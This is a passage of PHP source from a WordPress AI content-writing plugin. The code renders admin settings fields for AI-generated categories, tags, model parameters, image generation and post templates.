'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_review_list[link_post_types][]" placeholder="post" class="cr_width_full" value="' . esc_attr($link_post_types) . '"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Post Category Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to automatically add post categories from the feed items?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Add Categories", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="auto_categories" name="aiomatic_review_list[auto_categories][]"> <option value="disabled"'; if ($auto_categories == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="ai"'; if ($auto_categories == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="title"'; if ($auto_categories == 'title') { $output .= ' selected'; } $output .= '>' . esc_html__("Title", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="content"'; if ($auto_categories == 'content') { $output .= ' selected'; } $output .= '>' . esc_html__("Content", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="both"'; if ($auto_categories == 'both') { $output .= ' selected'; } $output .= '>' . esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Category Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[category_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($category_model)) { $category_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($category_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to AI category generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Category Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[category_ai_command][]" placeholder="Write a comma separated list of categories, for the post title: %%post_title%%" class="cr_width_full">' . esc_textarea($category_ai_command) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the post category that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Additional Post Category", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select multiple class="cr_width_full" id="default_category" name="aiomatic_review_list[default_category' . esc_html($cont) . '][]" onmouseover="this.size=this.length;" onmouseout="this.size=4;"> <option value="aiomatic_no_category_12345678"'; if(!is_array($default_category)) { $default_category = array($default_category); } if(count($default_category) == 1) { foreach($default_category as $dc) { if ("aiomatic_no_category_12345678" == $dc) { $output .= ' selected'; break; } } } $output .= '>' . esc_html__("Do Not Add a Category", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach ($categories as $category) { $output .= '<option value="' . esc_attr($category->term_id) . '"'; foreach($default_category as $dc) { if ($category->term_id == $dc) { $output .= ' selected'; break; } } $output .= '>' . sanitize_text_field($category->name) . ' - ID ' . esc_html($category->term_id) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This feature will try to remove the WordPress\'s default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Remove WP Default Post Category", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="remove_default" name="aiomatic_review_list[remove_default][]"'; if($remove_default == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Add Inexistent Categories", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_inexist" name="aiomatic_review_list[skip_inexist][]"'; if($skip_inexist == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Post Tag Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to automatically add post tags from the feed items?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Add Tags", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="auto_tags" name="aiomatic_review_list[auto_tags][]"> <option value="disabled"'; if ($auto_tags == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="ai"'; if ($auto_tags == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="title"'; if ($auto_tags == 'title') { $output .= ' selected'; } $output .= '>' . esc_html__("Title", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="content"'; if ($auto_tags == 'content') { $output .= ' selected'; } $output .= '>' . esc_html__("Content", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="both"'; if ($auto_tags == 'both') { $output .= ' selected'; } $output .= '>' . esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Post Tag Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[tag_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($tag_model)) { $tag_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($tag_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to AI tag generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Post Tag Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[tag_ai_command][]" placeholder="Write a comma separated list of tags, for the post title: %%post_title%%" class="cr_width_full">' . esc_textarea($tag_ai_command) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the post tags that you want for the automatically generated posts to have. Spintax supported.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Additional Post Tags", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input class="cr_width_full" type="text" name="aiomatic_review_list[default_tags][]" value="' . esc_attr($default_tags) . '" placeholder="Please insert your additional post tags here" > </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Advanced AI Text Generator Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Total Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_review_list[max_tokens][]" value="' . esc_attr($max_tokens) . '" placeholder="2048" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Prompt Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_review_list[max_seed_tokens][]" value="' . esc_attr($max_seed_tokens) . '" placeholder="1000" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Continue Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_review_list[max_continue_tokens][]" value="' . esc_attr($max_continue_tokens) . '" placeholder="500" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Temperature", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" step="0.01" max="2" name="aiomatic_review_list[temperature][]" value="' . esc_attr($temperature) . '" placeholder="1" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Top_p", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" step="0.01" max="1" name="aiomatic_review_list[top_p][]" value="' . esc_attr($top_p) . '" placeholder="1" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Presence Penalty", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="-2" max="2" step="0.01" name="aiomatic_review_list[presence_penalty][]" value="' . esc_attr($presence_penalty) . '" placeholder="0" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Frequency Penalty", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="-2" step="0.01" max="2" name="aiomatic_review_list[frequency_penalty][]" value="' . esc_attr($frequency_penalty) . '" placeholder="0" class="cr_width_full"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Image Generator Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin\'s \'Settings\' menu -> \'Royalty Free Featured Image Importing Options\' section.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Set A Featured Image For Posts (Select Source Below)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" name="aiomatic_review_list[royalty_free][]" class="cr_width_full"> <option value="0"'; if ($royalty_free == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($royalty_free == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Image From Below Selector", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="2"'; if ($royalty_free == '2') { $output .= ' selected'; } $output .= '>' . esc_html__("Amazon Product Thumbnail", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Search Query Repetition", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" name="aiomatic_review_list[search_query_repetition][]" class="cr_width_full"> <option value="0"'; if ($search_query_repetition == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($search_query_repetition == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Image Source", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select id="enable_ai_images' . esc_html($cont) . '" autocomplete="off" onchange="hideImage(' . esc_html($cont) . ');" name="aiomatic_review_list[enable_ai_images][]" class="cr_width_full"> <option value="0"'; if ($enable_ai_images == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($enable_ai_images == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="2"'; if ($enable_ai_images == '2') { $output .= ' selected'; } $output .= '>' . esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="4"'; if ($enable_ai_images == '4') { $output .= ' selected'; } $output .= '>' . esc_html__("Midjourney", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="3"'; if ($enable_ai_images == '3') { $output .= ' selected'; } $output .= '>' . esc_html__("Manual URL List", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hideImg' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Image Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[ai_command_image][]" placeholder="Please insert a command for the AI image generator" class="cr_width_full">' . esc_textarea($ai_command_image) . '</textarea> </div> </td></tr> <tr class="hideDalle' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Image Model", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[image_model][]" class="cr_width_full"> <option value="dalle2"'; if ($image_model == 'dalle2') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="dalle3"'; if ($image_model == 'dalle3') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="dalle3hd"'; if ($image_model == 'dalle3hd') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hideImg' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Generated Image Size", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[image_size][]" class="cr_width_full"> <option value="256x256"'; if ($image_size == '256x256') { $output .= ' selected'; } $output .= '>' . esc_html__("256x256 (only for Dall-E 2)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="512x512"'; if ($image_size == '512x512') { $output .= ' selected'; } $output .= '>' . esc_html__("512x512 (only for Dall-E 2 & Stable Diffusion)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1024x1024"'; if ($image_size == '1024x1024') { $output .= ' selected'; } $output .= '>' . esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1792x1024"'; if ($image_size == '1792x1024') { $output .= ' selected'; } $output .= '>' . esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1024x1792"'; if ($image_size == '1024x1792') { $output .= ' selected'; } $output .= '>' . esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Insert a comma separated list of links to valid images that will be set randomly for the featured image for the posts that do not have a valid image attached or if you disabled automatical featured image generator. You can also use image numeric IDs from images found in the Media Gallery. To disable this feature, leave this field blank. Spintax supported. You can also use the %%random_image[keyword]%% shortcode to automatically import a random image from Google Image Search with the Creative Commons filter applied. To get a related image, you can also use: %%random_image[%%post_title%%]%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Default Featured Image List", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_review_list[image_url][]" placeholder="Please insert the link to a valid image (spintax supported)">' . esc_textarea($image_url) . '</textarea> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Posting Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("HTML Text To Prepend To AI Created Content", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[post_prepend][]" placeholder="HTML content to prepend to the AI generated content" class="cr_width_full">' . esc_textarea($post_prepend) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a HTML text that should be append to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("HTML Text To Append To AI Created Content", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[post_append][]" placeholder="HTML content to append to the AI generated content" class="cr_width_full">' . esc_textarea($post_append) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Custom Shortcode Creator (Optional)", 'aiomatic-automatic-ai-content-writer') . 